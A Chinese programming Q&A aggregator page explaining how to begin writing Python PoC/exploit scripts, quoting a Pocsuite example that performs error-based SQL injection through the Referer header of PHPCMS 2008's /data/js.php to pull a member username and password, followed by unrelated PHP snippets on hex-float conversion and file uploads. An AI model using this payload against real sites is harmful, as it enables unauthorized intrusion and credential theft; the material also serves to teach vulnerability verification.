首页 > 后端开发 > 正文

基于Python 来编写 Poc/Exp 该怎么入门?

2025-03-04 09:22:09 | 我爱编程网

今天我爱编程网小编整理了基于Python 来编写 Poc/Exp 该怎么入门?相关信息,希望在这方面能够更好的大家。

本文目录一览:

基于Python 来编写 Poc/Exp 该怎么入门?

基于Python 来编写 Poc/Exp 该怎么入门?

其实吧,无论乌云的Tangscan也好,知道创宇的Pocsuite也好,还有Beebeeto也好(Bugscan没写过,不是特别了解不过应该差不多),关于Web的Poc和Exp,都极度依赖于两个Python库。
1. Requests : 模拟Web的请求和响应等交互动作。
2. Re : 正则表达式,用来验证返回的结果是否符合漏洞的预期,从而验证漏洞是否存在。

其余的大部分代码都是漏洞的信息。
以Pocsuite和Tangscan为例:
Pocsuite官方文档例子:
#!/usr/bin/env python
# coding: utf-8
import re
import urlparse
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
vulID = '62274' # ssvid
version = '1'
author = ['Medici.Yan']
vulDate = '2011-11-21'
createDate = '2015-09-23'
updateDate = '2015-09-23'
references = [' -62274 ']
name = '_62274_phpcms_2008_place_sql_inj_PoC'
appPowerLink = ' '
appName = 'PHPCMS'
appVersion = '2008'
vulType = 'SQL Injection'
desc = '''
phpcms 2008 中广告模块,存在参数过滤不严,
导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,
如果关闭了错误显示,可以采用基于时间和错误的盲注
'''
samples = [' ']

def _attack(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200:
match_result = re.search(r'Duplicate entry \'1--(.+)---(.+)--\' for key', resp.content, re.I | re.M)
if match_result:
result['AdminInfo'] = {}
result['AdminInfo']['Username'] = match_result.group(1)
result['AdminInfo']['Password'] = match_result.group(2)
return self.parse_attack(result)

def _verify(self):
result = {}
vulurl = urlparse.urljoin(self.url, '/data/js.php?id=1')
payload = "1', (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2), md5(1))a from information_schema.tables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = req.get(vulurl, headers=head)
if resp.status_code == 200 and 'c4ca4238a0b923820dcc509a6f75849b' in resp.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vulurl
result['VerifyInfo']['Payload'] = payload

return self.parse_attack(result)

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output

register(TestPOC)

可以看到从代码11到28行都是漏洞的一些信息,真正的功能函数只有_attack和_verify两个而已。甚至这个例子有点繁琐了,现在大大们都是把exploit写在verify里面,所以真正起到功能的,也就不到十行的代码。 这个库其实就是Requests。用Requests模拟手工注入的Post提交,用正则匹配提取和验证必要信息,简单说起来就是这两个步骤。
这么一来你再看看其他的由Python写的Poc和Exp就大同小异了。Poc/Exp总的说来就只是用程序代替手工的过程而已,所以了解了漏洞的原理和认证方法之后就简单了。

基于Python 来编写 Poc/Exp 该怎么入门?

PHP 浮点进制转换

下面是php实现的方法:
/**
 * 十六进制浮点型转为十进制
 * @param String $strHex 十六进制浮点数
 */
function hexToDecFloat($strHex) {
$v = hexdec($strHex);
$x = ($v & ((1 << 23) - 1)) + (1 << 23) * ($v >> 31 | 1);
$exp = ($v >> 23 & 0xFF) - 127;
return $x * pow(2, $exp - 23);
}

你说得很高深的样子,又不举例,不知道你究竟需要把什么样子的数转换成什么,上面是例子看看是不是你要的吧,如果不是,请一定举例。
我爱编程网

php如何将图片转成字节流

我爱编程网(https://www.52biancheng.com)小编还为大家带来php如何将图片转成字节流的相关内容。

在php中,有文件上传,那么php服务器端可以接收到请求参数 $_FILES,在 $_FILES数组中读取到上传文件的form表单名,然后在读取的数组中可以获取上传文件的源文件,使用 fopen()函数就可以获取文件的字节流了。
具体来点代码看看吧:(假定上传文件的表单名为 “formname”)
if($_FILES && isset($_FILES["formname"])){
//获取上传的文件的属性数组
$_fileinfo = $_FILES["formname"];
//获取上传文件的原文件名
$_filename = $_fileinfo["name"];
//获取上传文件的大小
$_filesize = $_fileinfo["size"];
//获取上传文件的临时文件名(长文件名)
$_filesource = $_fileinfo["tmp_name"];
//以读写方式打开文件,并将资源绑定到一个流上
$_filestream = fopen($_filesource,"ab");
//实现上传文件,其实质是把临时文件移动到制定的保存文件的位置
$_newfilename = "../mypath/filename.exp"; //自定义文件名,包含路径,可以是相对路径
move_uploaded_file($_filesource, $_newfilename);
}

以上就是我爱编程网小编给大家带来的基于Python 来编写 Poc/Exp 该怎么入门?全部内容,希望对大家有所帮助!更多相关文章关注我爱编程网:www.52biancheng.com

免责声明:文章内容来自网络,如有侵权请及时联系删除。
与“基于Python 来编写 Poc/Exp 该怎么入门?”相关推荐
python学习该怎么入门?
python学习该怎么入门?

python学习该怎么入门?由于我们是零基础学习python的,对于python的入门首先会学习python基础语法,面向对象编程与程序设计模式的理解、python数据分析基础、python网络编程、python并发与高效编程等等。通过前期python学习来了解和掌握常量变量的使用,运算符的使用、流程控制的使用等,最后掌握python编程语言的基础内容。并会对常见数据结构

2024-01-02 17:12:39
Python该如何快速入门?
Python该如何快速入门?

Python编程常用技巧清理用户输入对输入的的值进行清理处理,是常见的程序要求。比如要做大小写转化、要验证输入字符的注入,通常可以通过写正则用Regex来做专项任务。但是对于复杂的情况,可以用一些技巧,比如下面:user_input="This\nstringhas\tsomewhitespaces...\r\n"character_map={o

2023-12-29 13:58:03
零基础学习python编程入门的要点是什么?
零基础学习python编程入门的要点是什么?

零基础学习python编程入门的要点是什么?代码编程入门学习介绍如下所示。1、掌握编程思想很多人学习编程的时候一上来就阅读大量的书籍,死记硬背各种语法,然而到最后成效并不大。如果想成为一名优秀的程序员,最重要的是掌握编程思想、找到编程感觉,而不是死记硬背语言本身。一名程序员的高级境界,是在反复的实践、观察、分析、比较、总结中潜移默化积累的。要学会编程思想、找到编程感觉

2024-02-25 14:55:27
编程小白怎么学习Python呀_python编程入门自学
编程小白怎么学习Python呀_python编程入门自学

编程小白怎么学习Python呀_python编程入门自学python学习的基本步骤如下:python基础,了解python的数据类型python爬虫,了解网页结构,了解python爬虫知识,了解数据库知识python数据分析,了解数据分析库python机器学习,了解建模知识这是学习python的基本学习框架,都是和数据在打关系,从收集数据,整理数据,到数据建模

2023-12-25 16:14:06
python大于1小于5怎么写
python大于1小于5怎么写

python大于1小于5怎么写在Python中大于1且小于5的编程步骤如下:1、确定你要检查的数。这个数可以是任何实数,如整数或浮点数。2、使用比较运算符。Python提供了大于(&gt;)和小于(&lt;)运算符,可以用来比较数字的大小。3、将比较运算符和要检查的数组合起来,形成条件表达式。在我们的例子中,条件表达式应该是数&gt;1and数&lt;5。4、使

2023-12-21 17:44:43
0基础学python有多难 该怎么学
0基础学python有多难 该怎么学

0基础学python有多难该怎么学零基础学Python的过程并不难,只要一步一步循序渐进地学习,最快半年就能够掌握Python开发技术。Python是一门简单高效,应用范围广泛的计算机语言。我们要知道Python已经算是一门相对其他编程语言而言,最适合零基础新手学习的开发语言。0基础自学Python的方法选择学习方向,学习Python主要目的是用语言来解决问题,而不是了解这门语

2023-12-16 12:51:28
编程入门先学什么?
编程入门先学什么?

编程入门先学什么?编程入门先学C语言或者python。为了解决使用机器语言编写应用程序所带来的一系列问题,人们首先想到使用助记符号来代替不容易记忆的机器指令。这种助记符号来表示计算机指令的语言称为符号语言,也称汇编语言。在汇编语言中,每一条用符号来表示的汇编指令与计算机机器指令一一对应;记忆难度大大减少了,不仅易于检查和修改程序错误,而且指令、数据的存放位置可以由计算机自动

2024-02-09 09:39:48
编程语言python入门要学习哪些?
编程语言python入门要学习哪些?

编程语言python入门要学习哪些?学习python,主要学习ython基础语法、数据类型、字符编码、文件操作、函数、装饰器、迭代器、内置方法、常用模块等;之后再进阶学习,如框架等。阶段一:Python开发基础Python全栈开发与人工智能之Python开发基础知识学习内容包括:Python基础语法、数据类型、字符编码、文件操作、函数、装饰器、迭代器、内置方法、常用模块等。

2024-01-19 18:01:13